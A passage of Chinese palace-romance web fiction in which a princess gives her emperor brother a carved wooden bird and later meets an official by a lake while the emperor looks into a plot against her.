柔软,温暖。 心口那一处空荡,才算是填满。他从未有过这种感觉。明知不该沉溺,却无法克制。他觉得自己许是病了,早就病了。 只想离她更近一些。 本在行进中的肩舆稳稳落地,安玥松开了他。 “安玥先前收了那棵枇杷树下的一捧土,又让人集了落下的枯叶,另在院中种了棵枇杷树。等过几年,枇杷树汲取原本枯叶的养分长大了,枇杷又能长出来。对了……”她想起来,从袖中取出一只帕子裹着的东西。她将那帕子摊开,里面是一只木鸟。 年岁过去太久,她已不记得这只木鸟放在哪里了,她自己的东西,除了金银细软,又不喜人碰。还是她不久前,她废了好一番功夫翻箱倒柜找出来的。 曲闻昭听她叽叽喳喳一堆,低头看见她手中的木鸟。 他快忘记这些,亦或是早便不想要了,后来他唯一想要的,是毁掉曲婺的木鸟,毁掉那些踩在他头上的东西。如今,这些都实现了。 寒来暑往,日往月来。花开了又谢,枯树下开出新的颜色。他却仍在原地。 安玥将那只木鸟递到他面前。 太久没玩了,安玥有些忘了要怎么用了。她似也知道头顶一双目光盯着自己,有些紧张,翻看了半天,终于在木鸟底部摸到一处机关。 好像是要敲,敲几下来着? 她试探性敲了一下,等了半晌,那机关鸟木木停在那纹丝不动,安玥赧然一笑。 大抵是不够。 她抿住唇对着那一处敲了四五下,到第六下还要再动作,手心的木鸟突然振动翅膀嘎吱嘎吱歪歪扭扭冲向天际,旋即被舆顶挡住,一双翅膀拍打着头顶的木板,发出噼里啪啦的动静。 刺耳的声好似在脑中打了一架。安玥未来得及把这闹腾的东西抓回来。舆帘刷得被人打开了。 安玥朝外边看去,便见两名羽林卫手中刀刃出鞘至一半,盯着那木鸟,目色警惕,仿佛在盯着什么暗器。 她吓了跳。那刺耳的声跟着听了。是曲闻昭敛袖抬手把它抓了回来。 他睨了眼帘外。 那几张冷肃的面上,头一回龟裂出一抹疑惑,旋即是僵怔。而后帘子便被放下了。 他们似也未想到,那只是一只普通的戏具。 安玥认真道:“许是太久没用,里头的机关有些卡住了,所以动静大了些。” 曲闻昭看见她面上余温未褪,强装着一本正经。 他唇角微牵,“嗯。” “这木鸟送给皇兄。” 曲闻昭瞧着手中多出的东西,旋即将那木鸟翻过来,只见鸟的翅膀下用极细的刻刀刻了两个小人,一人玉冠束发,另一人扎着双螺髻,却未刻完。她先前找机关,却一直没有把木鸟翻过来,便是在遮掩这个吗? 他猜到,这木鸟是曲奕送的,所以上面刻的也是他么? 在遇到他之前,她和曲奕相处了十六年。 他指腹摩挲过上面不太平整的刻痕,“上面刻的是谁?” 黄杨木的材质,放得太久,色泽逐渐变深,上面亦有了磨损。唯有刻痕是新的。 安玥面色微微一变,含糊道:“唔,忘记了,一早便有的。不大记得了。” 他指腹用了几分力道,失了平整的刻纹在指腹印出痕迹,他不在意般,“知道了,回去吧。” 安玥也不知皇兄信了没有,但她绝不会承认这丑东西是她刻了一早上刻出来的。 她打定主意,若是皇兄再问,她便说是儿时刻的。她默了半晌,怕曲闻昭看出她面上异样,头未抬,小声:“安玥可否先告退?” 一直到安玥离开。舆内的人也未吩咐。胡禄站在肩舆旁,风卷起毡帘一角,稀疏灯影透入舆内,映在一双漆眸中。 翌日,天未亮,暮色压笼了一夜,一丝风也无。殿内燃了香,气息幽冷。 “陛下。” 曲闻昭坐在榻边,他身上仍是白色的寝衣。 “查出来了?”他批上外袍,缓缓掀开珠帘。 林敬道:“当日一名太监假传陛下口谕,引公主到了娴淑宫,属下在池中捞出了那太监的尸首。” 曲闻昭唇角微浅,却是极冷的弧度。他缓缓抽出最下一本奏折,摊开:“看来人还是不能过得太舒坦。” “陛下可要……” “不急。”曲闻昭提笔。 这宫里要人死的法子有千百种。墙头的花,若根烂了,那活着便比死还要难受。 林敬稍稍抬了下头,默了瞬,欲言又止。曲闻昭笔尖未停,声色清冷:“舌头留着若不用来说话,不若断了。” 林敬被这一声吓了一跳,犹豫了瞬,还是道:“属下只是不解,陛下为何待公主……特别?” 执笔的手顿住,直至墨水洇透了纸面,污乱一片。 林敬一抬头,便见陛下起身,那道目光凉凉地往他身上一瞥,“这舌头留着,倒不如割去省事。” 林敬面色微白,捂住了嘴,心中叫苦不迭。扭头见陛下已至屏风后。顷刻间有内侍进殿替陛下更衣。 半山腰坐落着一座凉亭,偶有凉风阵阵。茶水氤氲,水雾间,二人对坐。 其中一人披着件半旧的袈裟,这袈裟被洗得有些褪色了,却不见尘垢。他颈间戴着佛珠。眸光虽平静,却是含笑。比起慈悲,倒自带几分随和慈祥之相。 早年因那道士之语,先帝曾将曲闻昭送入寺庙清修了一段时日。那时曲闻昭不过十二,老方丈常替曲闻昭讲授佛经。 这孩子有心魔,可世人有何尝没有? “贫僧有许多年未见着陛下了。” 曲闻昭抬眼。远处群青堆叠,云山浮绕,隐隐能望见黑色的塔尖。 “今日召见方丈,是心中有一事,理不出头绪。” 那么久过去,他遇到此事,第一想到的,竟是这个老秃驴。 了空似是笑了笑,他微微颔首,“陛下不妨说说看,也看贫僧是否能为陛下解惑。” “若有一事本不该存在,却郁结于心,难舍难断,方丈以为,该如何?” “贫僧以为,既是难断,强行欲断,终不过反 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宫女太监们得了机会同家中联系,兴致亦高了不少,难得温情。妃嫔们头簪桂花,步伐间暗香浮动。 这几日,安玥未再等到魏辛的消息。她隐隐觉得有些心慌,暗中差人去查,可便如石沉大海了般,她心中便有了猜测:魏辛怕是被皇兄抓住了。 皇兄未当面怪她,是因为二人是兄妹,或许是因为这层身份在,也可能是二人兄妹情谊。 可照魏辛所说,国师怕是撑不了太久了。若是她再不问出母妃下落,这世上怕没有人能帮她找到母妃了。在件事上,她对皇兄有过片刻愧疚。她不该欺瞒于他。 但安玥说服自己,他们本不欠彼此,她只是站在自己这一头,想为自己争取些什么。 她今日带了一只玉兔钗。她上身是一件淡黄枫叶纹立领袄,下身配石榴色八幅湘裙,腰间坠一串清透的白玉禁步。 端庄不失灵动。 宫宴尚未开始,安玥在御花园逛了阵。岁康不在,之前围着她的那些贵女哪还敢像从前那般上来寻她的晦气? 途中有碰到,一个个俱是垂头行礼,只是气氛略有些僵硬。安玥亦觉察这一点,在花棚处站了会,独自往水榭去。她沿途见到一道熟悉的身影,是十一皇姐。 她今日亦穿了身绯红织金的袄裙,衬得肤白若雪。安玥上前行礼。明康见着她,只是不冷不热回了句,不如从前那般热络。 安玥见她要离开,忙将人拦住,她语气试探:“安玥可有何处惹皇姐不高兴了吗?” 明康目光在她面上停了瞬,冷冷移开脸,“并没有,皇妹多虑了。” “那皇姐为何不来走动了?安玥与皇姐虽是姐妹,可从前也只有逢年过节方见上一两面。上回相处,安玥方知皇姐性情直率大方,与皇姐相处甚欢……”安玥垂下头,“安玥以为皇姐也是这般想的。” 她低头站在那,看不清神色,明康却在她身上感受到几分失落,她眸光微动,“你当真是这般想的?” “自然。”安玥抬头:“皇姐不信吗?” 明康心底不知为何,松了口气。 那日回去,她被迫搬到绾晨宫。她虽乐得清净,却也隐隐察觉这是那人警告之举。她这些时日也曾怀疑过安玥告密,若说毫无芥蒂,是不可能的。 可今日,她见安玥言辞恳切,不似作伪。想来那人手眼通天,若要听到什么,也不算难事。 “皇姐信你。” 安玥见皇姐面上生出几分笑意,也跟着笑了,她拉着明康一起,“皇姐要去哪?” “天快黑了,到湖畔赏月可好?” 安玥自上回落水,至今见到湖仍心有余悸。但她想,大不了站得远些便是。 二人到了湖畔,明康见安玥离湖数丈远,察觉什么,道:“不远处有个凉亭,能坐着吃糕点,还能赏月,想去吗?” 安玥挽过明康的手,“去!” 二人走出几步,却听亭中隐隐有琴音传出。那乐音空灵缥缈,若冰弦玉韵,陡然风清月朗。二人不由得顿住步子。 明康轻声赞道:“好曲,好景,当真是‘泠泠七弦遍,万木澄幽阴’。” “这个时辰,旁人大抵还席间在用膳,不知何人如此好雅兴,在此处弹琴。” 明康待要开口,一人从屏风后走出。那人一身霁蓝的锦袍,玉冠束发,身若修竹。缓缓朝这边走来。 是何元初。 他走近了,躬身行礼,“微臣见过二位殿下。” “不必多礼。我适才还在同皇姐讨论,是何人琴声如此动听。原来是何大人的。” “公主谬赞。听闻上回娴淑宫起火,公主可有大碍?” 安玥摇摇头,“劳大人记挂,未受伤。” “那便好。” 明康目光在二人身上落了一圈,笑道:“原是旧相识。皇姐适才一枚耳坠不知落哪了,可能要去寻片刻,先失陪。” 安玥忙问:“可是落在湖边了?” 明康见着安玥这呆傻的样子,似乎还要来帮忙,解释道:“大抵是,我去去便回来。” 安玥听罢,就要跟上去,何元初唤了声:“公主。” 她顿住脚步,耐心等何元初下文,便听他道:“今日无事,臣可否邀公主赏月。” 一眨眼的功夫,明康已经走远了。这并非难事,加之何元初于自己有救命之恩,她并无回绝的理由。 安玥朝他一笑:“自然可以。” 明康走远了,身侧的侍女弥双语气关切:“公主明明未丢耳珰,为何……” 明康看了她一眼,压低声音,“傻,我那皇妹和何大人准有点什么,我们站那,岂不是碍事?”她想了想,“这深墙大院,如今也不过是虎狼窝,早些看清,早些离开,对她不算坏处。何大人这些年声名在外,门当户对的,且洁身自好。况且那架势,瞧着是对我那皇妹有意。今日保不齐是故意在这等着安玥呢……” 她转过头,却见不远处假山前不知何时多了光亮,那不远不近分布着的光影中站着一人尤为突兀,浑身气质冷清,却是华贵非常,最要命的是他那玄靴上的五爪龙纹。 她面色僵住,后知后觉,强行扯出些笑,福身行礼:“见过皇兄。” 曲闻昭看她一眼,似是随意一问:“十一皇妹从何处过来?” 明康担心自己那番话是否被他听到,但转念一想,这似乎也没什么,但还是留了个心眼:“今日元宵,臣妹就在这一块随便逛了逛。” 她等了许久,未等到回复,偷偷向上觑了眼,触到一双冰凉的凤眸,似有冰锥贴着额心。她膝盖发软,白着面色低下了头。